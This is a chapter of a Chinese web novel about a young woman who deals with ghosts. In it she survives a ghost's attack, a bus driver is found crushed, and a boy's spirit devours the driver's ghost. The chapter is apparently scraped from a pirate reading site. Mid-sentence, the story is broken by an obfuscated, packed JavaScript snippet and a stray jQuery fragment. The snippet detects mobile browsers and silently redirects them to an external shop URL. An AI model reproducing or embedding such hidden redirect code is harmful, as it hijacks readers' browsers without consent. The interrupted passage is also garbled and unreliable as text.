文趣网 > 其他小说 > 溺爱[人鬼] > 4. 晋J文XUE城
    随着那只手的动作,程佑宁的心也不由提到了嗓子眼。

    她不确定自己是不是快死了。

    但那些话已经说出口,现在就算是后悔也无济于事。

    红色的中式喜服由下及上地呈现在眼前,服帖,精致,衬得对方身姿颀长,如瀑的长发垂落腰际,如果不是在眼前的这种情况下,甚至值得好好欣赏。

    就在这时,一阵猛烈的眩晕感汹汹袭来,程佑宁的身子不禁晃了两晃,头晕眼花之际差点站不住。

    他立刻扶住了她的双臂,力道分明不大,可她却觉得自己的手像是要被拧断了。

    耳畔嗡鸣,雾气逐渐弥漫。

    程佑宁吃力地睁开眼。

    周遭一片昏暗,微薄的光芒从窗户外透进来,照亮了覆在自己上方的黑影。

    只见司机老师傅用力将她的双臂摁在床上,一边张着嘴,一边用那双浑浊的眼睛直勾勾地盯住她,贪婪无比。

    更糟糕的是,她能清晰地感受到自己身体里原本充盈的气息在迅速流逝,这种感觉简直不能再熟悉了。

    程佑宁试图抬起手腕,用手链靠近它,却发现因为手臂被钳制根本做不到。

    刚才还不确定,现在她确定自己必死无疑。

    忽然,抓住自己的那双枯手松开了,老师傅像是被什么东西揪住了衣领子,向后仰摔而去,重重砸在地上。

    它刚翻过身,想要再次扑上来,就猛地向后一滑又重新匍匐在地,胡乱挥舞的双手在地面上划拉出刺耳的声音,下半身淹没在一团漆黑的雾气中。

    在刚才的一番挣扎撕开了程佑宁肩膀上的伤口,她艰难地扶着床头坐起来,便看见老师傅正一点一点被雾气吞噬,最后,连带着挣扎时发出的声音也消失了。

    还来不及松一口气,程佑宁眉头一皱,向门口看去。

    一线光亮从门缝里映进来,可以看到外面似乎站着个人,被虚掩的门扉挡得严严实实,只露出一点蓝色的衣角。

    是那种很通透的湛蓝,就算穿在朝气蓬勃的青少年身上也很难跟“好看”沾上边,她瞬间想起了自己的初中校服。

    他每天早上都会站在门口等她一起去学校……

    程佑宁还没来得及仔细思考,人已经先一步冲过去打开门,一把拉住对方的手。

    “章龄!”

    令人意外的是,她的手穿过了他的手腕。

    少年回过头来,正是自己最熟悉的那副眉眼。

    一时间所有的过往都随之变得鲜活,带着纷繁复杂的情绪呼啸而来,闷得人难受。

    只是与记忆中一贯带着笑意的那人不同,他的脸上毫无情绪可言,漆黑冰冷的双眸像是从失明的野兽脸上挖下来,然后嵌进眼眶里的,一动也不动。

    他缓缓抬起手。

    程佑宁下意识后退一步,将将与之错开。

    假的,这个也是假的,他现在不可能出现在这里……

    自己恐怕又被套进了另一个梦里,还没有完全清醒过来。

    这一举动令少年的神情出现些许波动。

    程佑宁诧异于自己竟能从他看待猎物般的眼神中品出些微的怒意。

    不该碰他的。

    她瞟了眼对方右胸口绣着的“竹海学校”几个字,估计是个初中生。

    这个小鬼阴气太弱,很大概率是新死不久的,所以即便面对的是自己,也无法彼此触碰。

    “你和刚才的那个……一样,也想要我的‘灵’?”

    少年微微眯起眼。

    见状,她继续开口:“永远离开我的梦境,我可以给你一点,但这张脸,别再用了。”

    无声而汹涌的情绪在少年的眼底流转。

    良久,这抹湛蓝逐渐淡去,就像从未出现过。

    看着眼前的这一切,不知为何,程佑宁竟生出些怅然情绪,接着外面隐隐约约传来了章柯的声音。

    直到这时,她才注意到门外大堂的布局格外熟悉,自己竟在章家老宅?!

    那背后这个房间不就是——

    她都不用回头就得出了答案。

    章龄的。

    再怎么说,梦到自己睡在他的床上也太……

    程佑宁轻咳一声,眨了眨眼,神色有些不自然。

    “吱呀——”一声,大门被猛地推开,只见章柯打着伞出现在门口,一见到她,立刻冲了过来。

    “你慢……”

    程佑宁话还没说完就被抱了个满怀。

    “宁宁!你怎么不说一声就跑回来了!”章柯都快急哭了,“早上醒过来看见你房间没人,我找了你好久!还以为你也出事了,吓死我了!”

    程佑宁轻拍她的后背安抚,发觉这个梦好像有点过于有逻辑,过于真实了。

    她想起什么,转头向大堂香案那边望去,只见香炉里香已经燃尽了,六根红色的细木棍正顶天立地地杵在香灰里。

    等会儿,难道说现在不是梦???

    “宁宁,你傻了吗!”章柯摇晃着她的肩膀,“你怎么会在这里!”

    程佑宁讷讷:“我不知道,一睁眼就发现自己……站在这里。”

    “你梦游吗?”章柯惊讶,“可是你起床出门的动静我怎么一点都没听到?”

    她俩可是睡在一张床上的,连方况都被发配到了客房。

    程佑宁含含糊糊地应了声。

    自己从来没有什么梦游症,那多半是沾上什么不干净的东西了。

    是梦里的那位吧。

    她问:“柯柯,你刚才说,以为我‘也’出事了,所以发生了什么?”

    章柯肃然道:“村里有人死了。”

    程佑宁:“是个穿蓝色校服的孩子对不对?大概,这么高。”

    她比划了一下。

    章柯:“什么啊,不是孩子,是公交车司机王师傅,死得……很难看……”

    “什么?”程佑宁诧异。

    章柯皱眉:“我是找你的时候听人说的,他被公交车撞死在停车坪里了,整个人夹在车头和墙壁之间,雨水把血冲得满地都是,还有内脏……就……反正,很可怕!”

    “我去看看。”

    “你去看什么看,”章柯跺脚,“还嫌不够害怕的吗!”

    程佑宁解释:“死相越凄惨的人阴气越重,越有可能变成厉鬼,我看看王师傅的鬼魂在不在现场,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913885|213253||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    或许他知道是谁撞死了他,柯柯,我就远远看一眼,不靠近。”

    章柯和她瞪了大半天眼,可又拿她没办法,只能带她去,走之前特地给老宅大门挂了个锁。

    停车坪周围已经围满了来看热闹的人,连天的阴雨也浇不灭他们咀嚼八卦的热情。

    许村长苦瓜似的脸上写满了“造孽啊”,面有难色地给人群里的壮汉递烟,示意他们搭把手,好歹是把车推开,拢一拢那些不成样子的血肉。

    “我的老天啊,”有村民嘀咕,“王师傅怎么会被车撞死呢,你看这事儿弄的!”

    “这下完了,我本来打算今天去外面进货的,新司机来得多久啊,车子能修好不,别耽误我做生意啊。”

    “呦呵,都到这时候了你还想着进货,到底谁杀了他还不知道呢,咱们村里有杀人犯啊!”

    “那谁知道是不是他招惹了什么麻烦,你看他脸上那疤,就知道以前肯定干过不少好事,我守法村民,谁跟我有仇?”

    “你又知道了,万一是乱杀的呢。”

    “不可能,我刚刚去前面看过了,身子都快断成两截了,地上好几道车印子,绝对撞了不止一下,这肯定是仇家找上门啊!”

    程佑宁和章柯听到这里,对视一眼,悄悄退出人群往家走。

    等到无人处,章柯忍不住问:“你看见‘王师傅’了吗?”

    程佑宁摇头:“没有。”

    “那说明情况还不算太糟?”

    “恰恰相反,”程佑宁问她,“村里还有其他人会开车吗。”

    经她一说,章柯也立刻反应过来了:“没有,那是谁开车撞的他?!”

    “所以我觉得,这件事不是人干的。”

    有脏东西,杀人噬魂。

    *

    竹海村北山麓。

    一个脸颊带疤的男人在山野里狂奔,他速度极快,却连一次头都没敢回,蹿动的时候像极了一匹野狼,那平素里尽是凶相的脸上只剩下了惊恐和绝望。

    突然前方传来一声尖锐的嘶吼声,听着极其痛苦,他被吓得双腿一软,差点跪下去。

    雨幕里站着两个模糊的人影。

    少年身形高挑,老人身材佝偻。

    王师傅从来没这么痛恨过自己敏锐的眼神,尤其是其中一个人还和自己有过一面之缘。

    只见黑衣老人遍布沟壑的脸已经完全变形,一只手直接自它的后脑勺贯入,尖锐细长的黑色指甲穿破面庞,伤口处却不见半点血迹。

    五指向下一划,如同轻易地撕开一张破纸,断断续续的惨叫声也随之微弱下去。

    最终,老人化作了几缕不起眼的黑雾,它们顺着少年的手臂向上蔓延,与之融为一体。

    王师傅在地上连滚带爬,撕心裂肺地叫了起来:“别吃我!别吃我!求——!”

    冰冷的五指搭在它的颈间,一拧。

    求饶声戛然而止。

    少年的虚影又凝实几分,他看着自己的掌心,不知在思考什么。

    听得周遭风声呼啸,像是谁人在不甘地怒吼。

    他望向王师傅来时的方向,冰冷的神情丝毫未变。

    “滚。”